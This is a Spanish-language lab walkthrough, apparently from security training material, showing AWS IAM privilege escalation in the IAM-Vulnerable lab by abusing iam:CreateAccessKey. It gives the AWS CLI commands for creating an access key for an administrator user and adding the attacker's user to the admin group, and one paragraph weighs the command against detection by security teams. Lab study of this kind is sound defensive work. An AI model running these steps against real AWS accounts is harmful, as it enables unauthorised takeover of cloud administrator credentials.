CreateAccessKey

Un atacante con el permiso iam:CreateAccessKey en otros usuarios puede crear un Access Key ID y un Secret Access Key que pertenezca a otro usuario en el entorno de AWS.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc4-CreateAccessKey-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc4-CreateAccessKey --version-id v1

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc4-CreateAccessKey-role --role-session-name privesc4

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del El whoami de AWS

Primero nos autenticamos:

aws configure --profile privesc4

Y luego validamos con el whoami de AWS

aws sts get-caller-identity --profile privesc4

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

El siguiente comando se ejecuta dentro de un entorno de laboratorio controlado específicamente diseñado para prácticas de seguridad ofensiva. Su propósito es validar si tenemos los permisos necesarios para realizar operaciones administrativas. Es importante destacar que, aunque este método es efectivo en un ambiente controlado, su aplicación en un entorno real no es recomendable. En escenarios de producción, este tipo de acciones pueden ser fácilmente detectadas por sistemas de monitoreo, aumentando el riesgo de ser identificado por los equipos de seguridad.

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc4-CreateAccessKey-user --profile privesc4

En este escenario, simplemente tenemos que crear una clave de acceso para otro usuario que sea administrador y luego usarla:

aws iam create-access-key --user-name Spartan-Administrador --profile privesc4

Ahora simplemente tenemos que autenticarnos con las credenciales de Super-Administrador y posteriormente vamos a agregar nuestro usuario al grupo de Administradores.

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc4-CreateAccessKey-user --profile hack-admin

Si revisamos ahora podemos apreciar que el usuario inicial tiene privilegios de administrador.

Última actualización

¿Te fue útil?